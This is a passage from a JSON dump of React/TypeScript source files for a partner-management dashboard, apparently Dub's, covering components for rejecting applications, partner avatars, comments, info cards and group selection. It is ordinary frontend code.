setIsOpen: Dispatch<SetStateAction<boolean>>;\n  onNext?: () => void;\n}) {\n  const {\n    RejectPartnerApplicationModal,\n    setShowRejectPartnerApplicationModal,\n  } = useRejectPartnerApplicationModal({\n    partner,\n    onConfirm: async () => {\n      onNext ? onNext() : setIsOpen(false);\n      await mutatePrefix(\"/api/partners\");\n    },\n    confirmShortcutOptions: { sheet: true, modal: true },\n  });\n\n  useKeyboardShortcut(\"r\", () => setShowRejectPartnerApplicationModal(true), {\n    sheet: true,\n  });\n\n  return (\n    <>\n      {RejectPartnerApplicationModal}\n      <Button\n        type=\"button\"\n        variant=\"secondary\"\n        text=\"Reject\"\n        shortcut=\"R\"\n        onClick={() => {\n          setShowRejectPartnerApplicationModal(true);\n        }}\n        className=\"px-4\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-avatar.tsx",
    "content": "import { NullableOptional, PartnerProps } from \"@/lib/types\";\nimport { Avatar } from \"@dub/ui\";\n\nexport function PartnerAvatar({\n  partner,\n  className,\n}: {\n  partner: NullableOptional<PartnerProps>;\n  className?: string;\n}) {\n  return (\n    <Avatar\n      imageUrl={partner.image}\n      identifier={partner.id || partner.name || partner.email || \"Unknown\"}\n      className={className}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-comments.tsx",
    "content": "\"use client\";\n\nimport { createPartnerCommentAction } from \"@/lib/actions/partners/create-partner-comment\";\nimport { deletePartnerCommentAction } from \"@/lib/actions/partners/delete-partner-comment\";\nimport { updatePartnerCommentAction } from \"@/lib/actions/partners/update-partner-comment\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { usePartnerComments } from \"@/lib/swr/use-partner-comments\";\nimport useUser from \"@/lib/swr/use-user\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerCommentProps } from \"@/lib/types\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { MessageInput } from \"@/ui/shared/message-input\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  LoadingSpinner,\n  PROSE_STYLES,\n  PenWriting,\n  Popover,\n  Trash,\n} from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn, formatDate } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport ReactMarkdown from \"react-markdown\";\nimport remarkGfm from \"remark-gfm\";\nimport { toast } from \"sonner\";\nimport { KeyedMutator } from \"swr\";\nimport { v4 as uuid } from \"uuid\";\n\nexport function PartnerComments({ partnerId }: { partnerId: string }) {\n  const { user } = useUser();\n  const { id: workspaceId, defaultProgramId: programId } = useWorkspace();\n  const { comments, loading, mutate } = usePartnerComments(\n    { partnerId },\n    { keepPreviousData: true },\n  );\n\n  const { executeAsync: createPartnerComment } = useAction(\n    createPartnerCommentAction,\n  );\n\n  return (\n    <div className=\"mt-4\">\n      <MessageInput\n        onSendMessage={(text) => {\n          if (!user) return false;\n\n          const createdAt = new Date();\n\n          const optimisticComment: PartnerCommentProps & {\n            delivered?: false;\n          } = {\n            id: `tmp_${uuid()}`,\n            createdAt,\n            updatedAt: createdAt,\n            programId: programId!,\n            partnerId,\n            userId: user.id,\n            user: {\n              id: user.id,\n              name: user.name,\n              image: user.image || null,\n            },\n            text,\n            delivered: false,\n          };\n\n          mutate(\n            async (data) => {\n              const result = await createPartnerComment({\n                workspaceId: workspaceId!,\n                partnerId,\n                text,\n              });\n\n              if (!result?.data?.comment)\n                throw new Error(\n                  result?.serverError || \"Failed to post comment\",\n                );\n\n              return data\n                ? [result.data.comment, ...data]\n                : [result.data.comment];\n            },\n            {\n              optimisticData: (data) =>\n                data ? [optimisticComment, ...data] : [optimisticComment],\n              rollbackOnError: true,\n            },\n          )\n            .then(() => mutatePrefix(`/api/partners/${partnerId}/comments`))\n            .catch((e) => {\n              console.log(\"Failed to post comment\", e);\n              toast.error(\"Failed to post comment\");\n            });\n        }}\n        placeholder=\"Leave a comment\"\n        sendButtonText=\"Post\"\n        className=\"shadow-sm\"\n      />\n      <div className=\"mt-1.5 flex justify-end pr-1.5 text-xs text-neutral-500\">\n        Comments are only visible to your workspace\n      </div>\n\n      <div className=\"mt-4 flex flex-col gap-4\">\n        {comments ? (\n          comments.length > 0 ? (\n            comments.map((comment) => (\n              <CommentCard\n                key={comment.id}\n                partnerId={partnerId}\n                comment={comment}\n                mutate={mutate}\n              />\n            ))\n          ) : null\n        ) : loading ? (\n          <CommentCard partnerId={partnerId} className=\"opacity-50\" />\n        ) : (\n          <div className=\"text-content-muted py-4 text-center text-xs\">\n            Failed to load comments\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction CommentCard({\n  partnerId,\n  comment,\n  mutate,\n  className,\n}: {\n  partnerId: string;\n  comment?: PartnerCommentProps & { delivered?: false };\n  mutate?: KeyedMutator<(PartnerCommentProps & { delivered?: false })[]>;\n  className?: string;\n}) {\n  const { user } = useUser();\n  const { id: workspaceId } = useWorkspace();\n\n  const [isEditing, setIsEditing] = useState(false);\n\n  const { executeAsync: updateComment, isExecuting: isUpdating } = useAction(\n    updatePartnerCommentAction,\n    {\n      onSuccess: () => {\n        toast.success(\"Comment edited successfully\");\n        mutatePrefix(`/api/partners/${partnerId}/comments`);\n      },\n    },\n  );\n\n  const { executeAsync: deleteComment, isExecuting: isDeleting } = useAction(\n    deletePartnerCommentAction,\n    {\n      onSuccess: () => {\n        toast.success(\"Comment deleted successfully\");\n        mutatePrefix(`/api/partners/${partnerId}/comments`);\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError || `Failed to delete comment`);\n      },\n    },\n  );\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const timestamp = comment ? new Date(comment.createdAt) : undefined;\n\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle rounded-xl border pb-4 pl-4 pr-3.5 pt-2.5 shadow-sm\",\n        className,\n      )}\n    >\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-1.5\">\n          {comment ? (\n            <img\n              src={comment.user.image || `${OG_AVATAR_URL}${comment.user.name}`}\n              alt={`${comment.user.name} avatar`}\n              className=\"size-4 shrink-0 rounded-full\"\n            />\n          ) : (\n            <div className=\"size-4 animate-pulse rounded-full bg-neutral-200\" />\n          )}\n          {comment ? (\n            <>\n              <span className=\"text-content-emphasis text-xs font-semibold\">\n                {comment.user.name}\n              </span>\n              <div className=\"bg-content-muted size-0.5 shrink-0 rounded-full\" />\n              <span className=\"text-content-subtle text-xs\">\n                {new Date().getTime() - timestamp!.getTime() <\n                1000 * 60 * 60 * 24\n                  ? timestamp!.toLocaleTimeString(\"en-US\", {\n                      hour: \"numeric\",\n                      minute: \"numeric\",\n                    })\n                  : formatDate(timestamp!, {\n                      month: \"short\",\n                      year:\n                        timestamp!.getFullYear() !== new Date().getFullYear()\n                          ? \"numeric\"\n                          : undefined,\n                    })}\n              </span>\n              {comment.delivered === false && (\n                <LoadingSpinner className=\"size-2.5\" />\n              )}\n            </>\n          ) : (\n            <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n          )}\n        </div>\n        {comment && !isEditing && comment.userId === user?.id ? (\n          <Popover\n            content={\n              <div className=\"grid w-full grid-cols-1 gap-px p-2 sm:w-48\">\n                <Button\n                  text=\"Edit comment\"\n                  variant=\"outline\"\n                  loading={isUpdating}\n                  disabled={comment.delivered === false}\n                  onClick={async () => {\n                    setOpenPopover(false);\n                    setIsEditing(true);\n                  }}\n                  icon={<PenWriting className=\"size-4\" />}\n                  className=\"h-9 justify-start px-2 font-medium\"\n                />\n                <Button\n                  text=\"Delete comment\"\n                  variant=\"danger-outline\"\n                  onClick={async () => {\n                    setOpenPopover(false);\n\n                    if (\n                      !confirm(\"Are you sure you want to delete this comment?\")\n                    )\n                      return;\n\n                    await deleteComment({\n                      workspaceId: workspaceId!,\n                      commentId: comment.id,\n                    });\n                  }}\n                  loading={isDeleting}\n                  disabled={comment.delivered === false}\n                  icon={<Trash className=\"size-4\" />}\n                  className=\"h-9 justify-start px-2 font-medium\"\n                />\n              </div>\n            }\n            align=\"end\"\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <Button\n              variant=\"secondary\"\n              className={cn(\n                \"size-7 p-0\",\n                \"data-[state=open]:border-border-emphasis sm:group-hover/card:data-[state=closed]:border-border-subtle border-transparent\",\n              )}\n              icon={\n                isDeleting ? (\n                  <LoadingSpinner className=\"size-4 shrink-0\" />\n                ) : (\n                  <ThreeDots className=\"size-4 shrink-0\" />\n                )\n              }\n              onClick={() => {\n                setOpenPopover(!openPopover);\n              }}\n            />\n          </Popover>\n        ) : (\n          <div className=\"size-7\" />\n        )}\n      </div>\n\n      <div className=\"mt-2\">\n        {comment ? (\n          <AnimatedSizeContainer\n            height\n            transition={{ duration: 0.2, ease: \"easeOut\" }}\n            className=\"-m-0.5 overflow-clip\"\n          >\n            <div className=\"p-0.5\">\n              {isEditing ? (\n                <MessageInput\n                  defaultValue={comment.text}\n                  onCancel={() => setIsEditing(false)}\n                  onSendMessage={(text) => {\n                    if (!user) return false;\n\n                    setIsEditing(false);\n\n                    mutate?.(\n                      async (data) => {\n                        const result = await updateComment({\n                          workspaceId: workspaceId!,\n                          id: comment.id,\n                          text,\n                        });\n\n                        if (!result?.data?.comment)\n                          throw new Error(\n                            result?.serverError || \"Failed to update comment\",\n                          );\n\n                        if (!data) return [];\n                        const idx = data.findIndex(\n                          (c) => c.id === result.data?.comment.id,\n                        );\n                        if (idx === -1) return data;\n\n                        return data\n                          ? data.toSpliced(idx, 1, result.data.comment)\n                          : [];\n                      },\n                      {\n                        optimisticData: (data) => {\n                          if (!data) return [];\n                          const idx = data.findIndex(\n                            (c) => c.id === comment.id,\n                          );\n                          if (idx === -1) return data;\n\n                          return data.toSpliced(idx, 1, {\n                            ...data[idx],\n                            text,\n                            delivered: false,\n                          });\n                        },\n                        rollbackOnError: true,\n                      },\n                    )\n                      .then(() =>\n                        mutatePrefix(`/api/partners/${partnerId}/comments`),\n                      )\n                      .catch((e) => {\n                        console.log(\"Failed to update comment\", e);\n                        toast.error(\"Failed to update comment\");\n                      });\n                  }}\n                  autoFocus\n                  className=\"animate-fade-in\"\n                  placeholder=\"Edit comment\"\n                  sendButtonText=\"Save\"\n                />\n              ) : (\n                <ReactMarkdown\n                  className={cn(\n                    \"prose prose-sm text-content-default break-words font-normal\",\n                    PROSE_STYLES.condensed,\n                    \"prose-a:font-medium prose-a:underline-offset-4\",\n                  )}\n                  allowedElements={[\n                    \"p\",\n                    \"a\",\n                    \"code\",\n                    \"strong\",\n                    \"em\",\n                    \"ul\",\n                    \"ol\",\n                    \"li\",\n                  ]}\n                  components={{\n                    a: ({ node, ...props }) => (\n                      <a\n                        {...props}\n                        target=\"_blank\"\n                        rel=\"noopener noreferrer nofollow\"\n                      />\n                    ),\n                  }}\n                  remarkPlugins={[remarkGfm]}\n                >\n                  {comment?.text}\n                </ReactMarkdown>\n              )}\n            </div>\n          </AnimatedSizeContainer>\n        ) : (\n          <div className=\"h-5 w-48 animate-pulse rounded bg-neutral-200\" />\n        )}\n      </div>\n    </div>\n  );\n}\n\nexport function CommentCardDisplay({\n  user,\n  timestamp,\n  text,\n  className,\n}: {\n  user?: { name: string | null; image: string | null } | null;\n  timestamp: Date | string;\n  text: string;\n  className?: string;\n}) {\n  const ts = new Date(timestamp);\n\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle rounded-xl border pl-4 pr-3.5 shadow-sm\",\n        user ? \"pb-4 pt-2.5\" : \"px-3 py-2\",\n        className,\n      )}\n    >\n      {user && (\n        <div className=\"mb-2 flex items-center gap-1.5\">\n          <img\n            src={user.image || `${OG_AVATAR_URL}${user.name}`}\n            alt={`${user.name} avatar`}\n            className=\"size-4 shrink-0 rounded-full\"\n          />\n          <span className=\"text-content-emphasis text-xs font-semibold\">\n            {user.name}\n          </span>\n          <div className=\"bg-content-muted size-0.5 shrink-0 rounded-full\" />\n          <span className=\"text-content-subtle text-xs\">\n            {new Date().getTime() - ts.getTime() < 1000 * 60 * 60 * 24\n              ? ts.toLocaleTimeString(\"en-US\", {\n                  hour: \"numeric\",\n                  minute: \"numeric\",\n                })\n              : formatDate(ts, {\n                  month: \"short\",\n                  year:\n                    ts.getFullYear() !== new Date().getFullYear()\n                      ? \"numeric\"\n                      : undefined,\n                })}\n          </span>\n        </div>\n      )}\n      <p className=\"prose prose-sm text-content-default break-words font-normal\">\n        {text}\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-info-cards.tsx",
    "content": "import useGroup from \"@/lib/swr/use-group\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  BountyListProps,\n  EnrolledPartnerExtendedProps,\n  NetworkPartnerProps,\n  RewardProps,\n} from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { INACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { usePartnerGroupHistorySheet } from \"@/ui/activity-logs/partner-group-history-sheet\";\nimport {\n  Button,\n  CalendarIcon,\n  ChartActivity2,\n  CopyButton,\n  Globe,\n  Heart,\n  OfficeBuilding,\n  TimestampTooltip,\n  Trophy,\n} from \"@dub/ui\";\nimport {\n  COUNTRIES,\n  capitalize,\n  fetcher,\n  formatDate,\n  formatDateTimeSmart,\n  timeAgo,\n} from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ReactNode } from \"react\";\nimport useSWR from \"swr\";\nimport { ConversionScoreIcon } from \"./conversion-score-icon\";\nimport { PartnerApplicationRiskSummary } from \"./fraud-risks/partner-application-risk-summary\";\nimport {\n  PartnerApplicationFraudBanner,\n  PartnerFraudBanner,\n} from \"./fraud-risks/partner-fraud-banner\";\nimport { PartnerFraudIndicator } from \"./fraud-risks/partner-fraud-indicator\";\nimport { PartnerAvatar } from \"./partner-avatar\";\nimport { PartnerInfoGroup } from \"./partner-info-group\";\nimport { ConversionScoreTooltip } from \"./partner-network/conversion-score-tooltip\";\nimport { PartnerStarButton } from \"./partner-star-button\";\nimport { PartnerStatusBadgeWithTooltip } from \"./partner-status-badge-with-tooltip\";\nimport {\n  getPayoutMethodIconConfig,\n  getPayoutMethodLabel,\n} from \"./payouts/payout-method-config\";\nimport { ProgramRewardList } from \"./program-reward-list\";\nimport { TrustedPartnerBadge } from \"./trusted-partner-badge\";\n\ntype PartnerInfoCardsProps = {\n  showFraudIndicator?: boolean;\n  showApplicationRiskAnalysis?: boolean;\n  controls?: ReactNode;\n\n  /** Partner statuses to hide badges for */\n  hideStatuses?: EnrolledPartnerExtendedProps[\"status\"][];\n\n  // Only used for a controlled group selector that doesn't persist the selection itself\n  selectedGroupId?: string | null;\n  setSelectedGroupId?: (groupId: string) => void;\n} & (\n  | { type?: \"enrolled\"; partner?: EnrolledPartnerExtendedProps }\n  | { type: \"network\"; partner?: NetworkPartnerProps }\n);\n\ntype BasicField = {\n  id: string;\n  icon: React.ReactElement;\n  text: string | null | undefined;\n  wrapper?: React.ComponentType<{ children: React.ReactNode }> | string;\n};\n\nexport function PartnerInfoCards({\n  type,\n  partner,\n  controls,\n  hideStatuses = [],\n  selectedGroupId,\n  setSelectedGroupId,\n  showFraudIndicator = true,\n  showApplicationRiskAnalysis = false,\n}: PartnerInfoCardsProps) {\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n\n  const { program } = useProgram();\n\n  const isEnrolled = type === \"enrolled\" || type === undefined;\n  const isNetwork = type === \"network\";\n\n  const showPayoutMethodField =\n    isEnrolled &&\n    program?.payoutMode !== \"external\" &&\n    partner?.payoutsEnabledAt != null &&\n    partner?.defaultPayoutMethod != null;\n\n  const {\n    partnerGroupHistorySheet,\n    setIsOpen: setGroupHistoryOpen,\n    hasActivityLogs,\n  } = usePartnerGroupHistorySheet({ partner: partner || null });\n\n  const { group } = useGroup(\n    {\n      groupIdOrSlug: partner\n        ? selectedGroupId ||\n          (\"groupId\" in partner ? partner.groupId : null) ||\n          DEFAULT_PARTNER_GROUP.slug\n        : undefined,\n    },\n    { keepPreviousData: false },\n  );\n\n  const { data: bounties, error: errorBounties } = useSWR<BountyListProps[]>(\n    workspaceId && partner && isEnrolled\n      ? `/api/bounties?workspaceId=${workspaceId}&partnerId=${partner.id}`\n      : null,\n    fetcher,\n  );\n\n  let basicFields: BasicField[] = [\n    {\n      id: \"country\",\n      icon: partner?.country ? (\n        <img\n          alt={`Flag of ${COUNTRIES[partner.country]}`}\n          src={`https://flag.vercel.app/m/${partner.country}.svg`}\n          className=\"size-3.5 rounded-full\"\n        />\n      ) : (\n        <Globe className=\"size-3.5 shrink-0\" />\n      ),\n      text: partner?.country ? COUNTRIES[partner.country] : \"Planet Earth\",\n    },\n  ];\n\n  if (isEnrolled) {\n    basicFields = basicFields.concat([\n      ...(partner?.status === \"approved\"\n        ? [\n            {\n              id: \"lastLeadAt\",\n              icon: <ChartActivity2 className=\"size-3.5\" />,\n              text: partner.lastLeadAt\n                ? `Last lead event ${timeAgo(new Date(partner.lastLeadAt), { withAgo: true })}`\n                : null,\n            },\n            {\n              id: \"lastConversionAt\",\n              icon: <ChartActivity2 className=\"size-3.5\" />,\n              text: partner.lastConversionAt\n                ? `Last conversion event ${timeAgo(new Date(partner.lastConversionAt), { withAgo: true })}`\n                : null,\n            },\n          ]\n        : []),\n      {\n        id: \"companyName\",\n        icon: <OfficeBuilding className=\"size-3.5\" />,\n        text: partner ? partner.companyName || null : undefined,\n      },\n      {\n        id: \"createdAt\",\n        icon: <CalendarIcon className=\"size-3.5\" />,\n        text: partner\n          ? `${partner.status === \"approved\" ? \"Partner since\" : \"Applied\"} ${formatDate(partner.createdAt)}`\n          : undefined,\n      },\n      ...(showPayoutMethodField && partner\n        ? (() => {\n            const { Icon: PayoutMethodIcon } = getPayoutMethodIconConfig(\n              partner.defaultPayoutMethod!,\n            );\n            const payoutTimestamp = partner.payoutsEnabledAt!;\n            const PayoutTimestampWrapper = ({\n              children,\n            }: {\n              children: React.ReactNode;\n            }) => (\n              <TimestampTooltip\n                timestamp={payoutTimestamp}\n                rows={[\"local\", \"utc\", \"unix\"]}\n                side=\"left\"\n              >\n                {children}\n              </TimestampTooltip>\n            );\n            return [\n              {\n                id: \"payoutMethod\" as const,\n                icon: <PayoutMethodIcon className=\"size-3.5 shrink-0\" />,\n                text: `${getPayoutMethodLabel(partner.defaultPayoutMethod!)} connected ${formatDateTimeSmart(partner.payoutsEnabledAt!)}`,\n                wrapper: PayoutTimestampWrapper,\n              },\n            ];\n          })()\n        : []),\n    ]);\n  }\n\n  if (isNetwork) {\n    basicFields = basicFields.concat([\n      {\n        id: \"conversion\",\n        icon: (\n          <ConversionScoreIcon\n            score={partner?.conversionScore || null}\n            className=\"size-3.5 shrink-0\"\n          />\n        ),\n        text: partner\n          ? partner.conversionScore\n            ? `${capitalize(partner.conversionScore)} conversion`\n            : \"Unknown conversion\"\n          : undefined,\n        wrapper: ConversionScoreTooltip,\n      },\n      {\n        id: \"lastConversionAt\",\n        icon: <ChartActivity2 className=\"size-3.5\" />,\n        text: partner\n          ? partner.lastConversionAt\n            ? `Last conversion ${timeAgo(partner.lastConversionAt, { withAgo: true })}`\n            : \"No conversions yet\"\n          : undefined,\n      },\n      {\n        id: \"companyName\",\n        icon: <OfficeBuilding className=\"size-3.5\" />,\n        text: partner ? partner.companyName || null : undefined,\n      },\n      {\n        id: \"joinedAt\",\n        icon: <CalendarIcon className=\"size-3.5\" />,\n        text: partner ? `Joined ${formatDate(partner.createdAt!)}` : undefined,\n      },\n    ]);\n  }\n\n  return (\n    <div className=\"flex flex-col gap-4\">\n      <div className=\"overflow-hidden rounded-xl bg-red-100\">\n        {partner &&\n          isEnrolled &&\n          (partner.status === \"pending\" ? (\n            <PartnerApplicationFraudBanner partner={partner} />\n          ) : (\n            <PartnerFraudBanner partner={partner} />\n          ))}\n\n        <div className=\"border-border-subtle flex flex-col divide-y divide-neutral-200 rounded-xl border bg-white\">\n          <div className=\"p-4\">\n            <div className=\"flex items-start justify-between gap-2\">\n              <div className=\"relative w-fit shrink-0\">\n                {partner ? (\n                  <PartnerAvatar\n                    partner={partner}\n                    className=\"size-20 border border-neutral-100\"\n                  />\n                ) : (\n                  <div className=\"size-20 animate-pulse rounded-full bg-neutral-200\" />\n                )}\n                {partner?.trustedAt && <TrustedPartnerBadge />}\n              </div>\n\n              <div className=\"flex items-center gap-2\">\n                {isEnrolled &&\n                  partner &&\n                  !hideStatuses.includes(partner.status) && (\n                    <PartnerStatusBadgeWithTooltip partner={partner} />\n                  )}\n\n                {isNetwork && partner && (\n                  <PartnerStarButton partner={partner} className=\"size-9\" />\n                )}\n\n                {controls}\n              </div>\n            </div>\n\n            <div className=\"mt-4\">\n              {partner ? (\n                <div className=\"flex items-center gap-2\">\n                  <span className=\"text-content-emphasis text-lg font-semibold\">\n                    {partner.name}\n                  </span>\n\n                  {showFraudIndicator && (\n                    <PartnerFraudIndicator partnerId={partner.id} />\n                  )}\n                </div>\n              ) : (\n                <div className=\"h-7 w-24 animate-pulse rounded bg-neutral-200\" />\n              )}\n            </div>\n\n            {isEnrolled &&\n              (partner ? (\n                partner.email && (\n                  <div className=\"mt-0.5 flex items-center gap-1\">\n                    <span className=\"text-sm font-medium text-neutral-500\">\n                      {partner.email}\n                    </span>\n                    <CopyButton\n                      value={partner.email}\n                      variant=\"neutral\"\n                      className=\"p-1 [&>*]:h-3 [&>*]:w-3\"\n                      successMessage=\"Copied email to clipboard!\"\n                    />\n                  </div>\n                )\n              ) : (\n                <div className=\"mt-0.5 h-5 w-32 animate-pulse rounded bg-neutral-200\" />\n              ))}\n          </div>\n\n          <div className=\"flex flex-col gap-2 p-4\">\n            {basicFields\n              .filter(({ text }) => text !== null)\n              .map(({ id, icon, text, wrapper: Wrapper = \"div\" }) => (\n                <Wrapper key={id}>\n                  <div className=\"text-content-subtle flex items-center gap-1\">\n                    {text !== undefined ? (\n                      <>\n                        {icon}\n                        <span className=\"text-xs font-medium\">{text}</span>\n                      </>\n                    ) : (\n                      <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n                    )}\n                  </div>\n                </Wrapper>\n              ))}\n          </div>\n\n          {partner && isEnrolled && showApplicationRiskAnalysis && (\n            <PartnerApplicationRiskSummary partner={partner} />\n          )}\n        </div>\n      </div>\n\n      <div className=\"border-border-subtle flex flex-col gap-4 rounded-xl border p-4\">\n        {/* Group */}\n        <div className=\"flex flex-col gap-2\">\n          {isEnrolled && (\n            <div className=\"flex min-h-7 items-center justify-between\">\n              <h3 className=\"text-content-emphasis text-sm font-semibold\">\n                Group\n              </h3>\n\n              {partner && partner.status !== \"pending\" && hasActivityLogs && (\n                <Button\n                  variant=\"outline\"\n                  text=\"View history\"\n                  className=\"h-7 w-fit rounded-lg px-1.5 text-xs font-medium text-neutral-400\"\n                  onClick={() => setGroupHistoryOpen(true)}\n                />\n              )}\n            </div>\n          )}\n\n          {partnerGroupHistorySheet}\n          {partner ? (\n            <PartnerInfoGroup\n              partner={partner}\n              changeButtonText=\"Change\"\n              hideChangeButton={\n                \"status\" in partner &&\n                INACTIVE_ENROLLMENT_STATUSES.includes(partner.status)\n              }\n              className=\"rounded-lg bg-white shadow-sm\"\n              selectedGroupId={selectedGroupId}\n              setSelectedGroupId={setSelectedGroupId}\n            />\n          ) : (\n            <div className=\"my-px h-11 w-full animate-pulse rounded-lg bg-neutral-200\" />\n          )}\n        </div>\n\n        {isEnrolled && partner?.status === \"approved\" && (\n          <>\n            {/* Rewards */}\n            <div className=\"flex flex-col gap-2\">\n              <h3 className=\"text-content-emphasis text-sm font-semibold\">\n                Rewards\n              </h3>\n              {group ? (\n                group.clickReward ||\n                group.leadReward ||\n                group.saleReward ||\n                group.discount ? (\n                  <ProgramRewardList\n                    rewards={[\n                      group.clickReward,\n                      group.leadReward,\n                      group.saleReward,\n                    ].filter((r): r is RewardProps => r !== null)}\n                    discount={group.discount}\n                    variant=\"plain\"\n                    className=\"text-content-subtle gap-2 text-xs leading-4\"\n                    iconClassName=\"size-3.5\"\n                  />\n                ) : (\n                  <span className=\"text-content-subtle text-xs\">\n                    No rewards\n                  </span>\n                )\n              ) : (\n                <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n              )}\n            </div>\n            {/* Eligible bounties */}\n            <div className=\"flex flex-col gap-2\">\n              <h3 className=\"text-content-emphasis text-sm font-semibold\">\n                Eligible Bounties\n              </h3>\n              {bounties ? (\n                bounties.length ? (\n                  <div className=\"flex flex-col gap-2\">\n                    {bounties.map((bounty) => {\n                      const Icon =\n                        bounty.type === \"performance\" ? Trophy : Heart;\n                      return (\n                        <Link\n                          key={bounty.id}\n                          target=\"_blank\"\n                          href={`/${workspaceSlug}/program/bounties/${bounty.id}`}\n                          className=\"text-content-subtle flex cursor-alias items-center gap-2 decoration-dotted underline-offset-2 hover:underline\"\n                        >\n                          <Icon className=\"size-3.5 shrink-0\" />\n                          <span className=\"text-xs font-medium\">\n                            {bounty.name}\n                          </span>\n                        </Link>\n                      );\n                    })}\n                  </div>\n                ) : (\n                  <p className=\"text-content-subtle text-xs\">\n                    No eligible bounties\n                  </p>\n                )\n              ) : errorBounties ? (\n                <p className=\"text-content-subtle text-xs\">\n                  Failed to load bounties\n                </p>\n              ) : (\n                <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n              )}\n            </div>\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-info-group.tsx",
    "content": "import useGroups from \"@/lib/swr/use-groups\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerExtendedProps } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useChangeGroupModal } from \"../modals/change-group-modal\";\nimport { GroupColorCircle } from \"./groups/group-color-circle\";\n\nexport function PartnerInfoGroup({\n  partner,\n  changeButtonText = \"Change group\",\n  hideChangeButton = false,\n  className,\n  selectedGroupId,\n  setSelectedGroupId,\n}: {\n  partner: Partial<\n    Pick<\n      EnrolledPartnerExtendedProps,\n      \"id\" | \"groupId\" | \"name\" | \"image\" | \"email\" | \"groupMoveDisabledAt\"\n    >\n  >;\n  changeButtonText?: string;\n  hideChangeButton?: boolean;\n  className?: string;\n  // Only used for a controlled group selector that doesn't persist the selection itself\n  selectedGroupId?: string | null;\n  setSelectedGroupId?: (groupId: string) => void;\n}) {\n  const { slug } = useWorkspace();\n\n  const { groups } = useGroups();\n\n  const group = groups\n    ? groups.find((g) => g.id === (selectedGroupId || partner.groupId)) ||\n      groups.find((g) => g.slug === DEFAULT_PARTNER_GROUP.slug)\n    : undefined;\n\n  const { ChangeGroupModal, setShowChangeGroupModal } = useChangeGroupModal({\n    partners: [{ ...partner, groupId: selectedGroupId || partner.groupId }],\n    onChangeGroup: setSelectedGroupId\n      ? (groupId) => {\n          setSelectedGroupId(groupId);\n          return false; // Prevent persisting the group change\n        }\n      : undefined,\n  });\n\n  return (\n    <div\n      className={cn(\n        \"flex items-center justify-between rounded-lg border border-neutral-200 bg-neutral-100 p-2 pl-3\",\n        className,\n      )}\n    >\n      <ChangeGroupModal />\n      <div className=\"flex min-w-0 items-center gap-2\">\n        {group ? (\n          <GroupColorCircle group={group} />\n        ) : (\n          <div className=\"size-3 shrink-0 animate-pulse rounded-full bg-neutral-200\" />\n        )}\n        {group ? (\n          <Link\n            href={`/${slug}/program/groups/${group.slug}`}\n            target=\"_blank\"\n            className=\"min-w-0 cursor-alias truncate text-sm font-medium text-neutral-800 decoration-dotted underline-offset-2 hover:underline\"\n            title={group.name}\n          >\n            {group.name}\n          </Link>\n        ) : (\n          <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n        )}\n      </div>\n      {hideChangeButton ? null : group ? (\n        <Button\n          variant=\"secondary\"\n          text={changeButtonText}\n          className=\"h-7 w-fit rounded-lg px-2.5\"\n          onClick={() => setShowChangeGroupModal(true)}\n        />\n      ) : (\n        <div className=\"h-7 w-24 animate-pulse rounded-lg bg-neutral-200\" />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-info-section.tsx",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { CopyButton, Tooltip } from \"@dub/ui\";\nimport { COUNTRIES } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\nimport { PartnerAvatar } from \"./partner-avatar\";\nimport { PartnerStatusBadgeWithTooltip } from \"./partner-status-badge-with-tooltip\";\n\nexport function PartnerInfoSection({\n  partner,\n  showPartnerStatus = true,\n  children,\n}: PropsWithChildren<{\n  showPartnerStatus?: boolean;\n  partner: Pick<\n    EnrolledPartnerProps,\n    | \"id\"\n    | \"name\"\n    | \"image\"\n    | \"email\"\n    | \"status\"\n    | \"bannedAt\"\n    | \"bannedReason\"\n    | \"country\"\n  >;\n}>) {\n  return (\n    <div className=\"flex items-start justify-between gap-6\">\n      <div>\n        <div className=\"relative w-fit\">\n          <PartnerAvatar partner={partner} className=\"size-12\" />\n          {partner.country && (\n            <Tooltip content={COUNTRIES[partner.country]}>\n              <div className=\"absolute -right-1 top-0 overflow-hidden rounded-full bg-neutral-50 p-0.5 transition-transform duration-100 hover:scale-[1.15]\">\n                <img\n                  alt=\"\"\n                  src={`https://flag.vercel.app/m/${partner.country}.svg`}\n                  className=\"size-3 rounded-full\"\n                />\n              </div>\n            